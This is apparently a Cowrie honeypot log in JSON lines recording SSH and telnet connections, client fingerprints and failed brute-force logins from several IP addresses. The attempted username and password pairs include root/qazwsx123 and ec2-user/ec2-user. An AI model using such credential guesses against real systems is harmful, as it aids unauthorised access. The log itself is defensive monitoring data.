{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:43.165233Z","src_ip":"192.109.200.78","session":"2c0e71fb5a6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.129.89","src_port":28234,"dst_ip":"10.17.0.5","dst_port":23,"session":"68f2d17634c3","protocol":"telnet","message":"New connection: 162.214.129.89:28234 (10.17.0.5:23) [session: 68f2d17634c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:44.299514Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":54890,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c874b99f732","protocol":"ssh","message":"New connection: 176.65.139.95:54890 (159.203.135.109:22) [session: 8c874b99f732]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:45.391994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:45.415474Z","src_ip":"176.65.139.95","session":"8c874b99f732","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:45.476365Z","src_ip":"176.65.139.95","session":"8c874b99f732","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1","message":"login attempt [user/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:45.836483Z","src_ip":"176.65.139.95","session":"8c874b99f732","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38360,"dst_ip":"159.203.135.109","dst_port":22,"session":"beb900e136ae","protocol":"ssh","message":"New connection: 192.109.200.78:38360 (159.203.135.109:22) [session: beb900e136ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:46.035487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:46.041713Z","src_ip":"192.109.200.78","session":"beb900e136ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:46.126522Z","src_ip":"192.109.200.78","session":"beb900e136ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mojtaba","password":"123456","message":"login attempt [mojtaba/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:46.384616Z","src_ip":"192.109.200.78","session":"beb900e136ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:47.063687Z","src_ip":"176.65.139.95","session":"8c874b99f732","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:47.469183Z","src_ip":"192.109.200.78","session":"beb900e136ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.28.189.160","src_port":39314,"dst_ip":"10.17.0.5","dst_port":23,"session":"03fdc1070047","protocol":"telnet","message":"New connection: 212.28.189.160:39314 (10.17.0.5:23) [session: 03fdc1070047]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:49.109984Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.78.75.91","src_port":44328,"dst_ip":"10.17.0.5","dst_port":23,"session":"7dcf8f7f9111","protocol":"telnet","message":"New connection: 170.78.75.91:44328 (10.17.0.5:23) [session: 7dcf8f7f9111]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:49.478825Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59326,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e7c13e6df1a","protocol":"ssh","message":"New connection: 192.109.200.78:59326 (159.203.135.109:22) [session: 0e7c13e6df1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:50.068903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:50.076740Z","src_ip":"192.109.200.78","session":"0e7c13e6df1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:50.161350Z","src_ip":"192.109.200.78","session":"0e7c13e6df1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"ec2-user","message":"login attempt [ec2-user/ec2-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:50.417953Z","src_ip":"192.109.200.78","session":"0e7c13e6df1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:51.506358Z","src_ip":"192.109.200.78","session":"0e7c13e6df1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":48256,"dst_ip":"159.203.135.109","dst_port":22,"session":"af42537580e1","protocol":"ssh","message":"New connection: 176.65.139.95:48256 (159.203.135.109:22) [session: af42537580e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:52.142835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:52.150426Z","src_ip":"176.65.139.95","session":"af42537580e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:52.250661Z","src_ip":"176.65.139.95","session":"af42537580e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"123456","message":"login attempt [david/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:52.837153Z","src_ip":"176.65.139.95","session":"af42537580e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:53.925102Z","src_ip":"176.65.139.95","session":"af42537580e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59340,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6ed3088c9b1","protocol":"ssh","message":"New connection: 192.109.200.78:59340 (159.203.135.109:22) [session: c6ed3088c9b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:54.141616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:54.146890Z","src_ip":"192.109.200.78","session":"c6ed3088c9b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:54.233608Z","src_ip":"192.109.200.78","session":"c6ed3088c9b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root12345","message":"login attempt [root/root12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:54.491322Z","src_ip":"192.109.200.78","session":"c6ed3088c9b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:55.582013Z","src_ip":"192.109.200.78","session":"c6ed3088c9b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38554,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea665382e56b","protocol":"ssh","message":"New connection: 192.109.200.78:38554 (159.203.135.109:22) [session: ea665382e56b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:58.349275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:58.371348Z","src_ip":"192.109.200.78","session":"ea665382e56b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:58.454651Z","src_ip":"192.109.200.78","session":"ea665382e56b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsx123","message":"login attempt [root/qazwsx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:58.710759Z","src_ip":"192.109.200.78","session":"ea665382e56b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":54122,"dst_ip":"159.203.135.109","dst_port":22,"session":"b101708d05a9","protocol":"ssh","message":"New connection: 176.65.139.95:54122 (159.203.135.109:22) [session: b101708d05a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:58.944589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:58.950207Z","src_ip":"176.65.139.95","session":"b101708d05a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:59.034313Z","src_ip":"176.65.139.95","session":"b101708d05a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"systemd","message":"login attempt [systemd/systemd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:59.423070Z","src_ip":"176.65.139.95","session":"b101708d05a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:00.091604Z","src_ip":"192.109.200.78","session":"ea665382e56b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:00.512812Z","src_ip":"176.65.139.95","session":"b101708d05a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.180.146.225","src_port":47228,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0c14256a6c8","protocol":"telnet","message":"New connection: 82.180.146.225:47228 (10.17.0.5:23) [session: c0c14256a6c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:00.569202Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38570,"dst_ip":"159.203.135.109","dst_port":22,"session":"d65b0bf425af","protocol":"ssh","message":"New connection: 192.109.200.78:38570 (159.203.135.109:22) [session: d65b0bf425af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:02.742805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:02.747775Z","src_ip":"192.109.200.78","session":"d65b0bf425af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:02.833569Z","src_ip":"192.109.200.78","session":"d65b0bf425af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456","message":"login attempt [user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:03.377335Z","src_ip":"192.109.200.78","session":"d65b0bf425af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.82913589477539,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:04.045380Z","src_ip":"77.68.119.60","session":"74ca264ece2c","protocol":"telnet"}
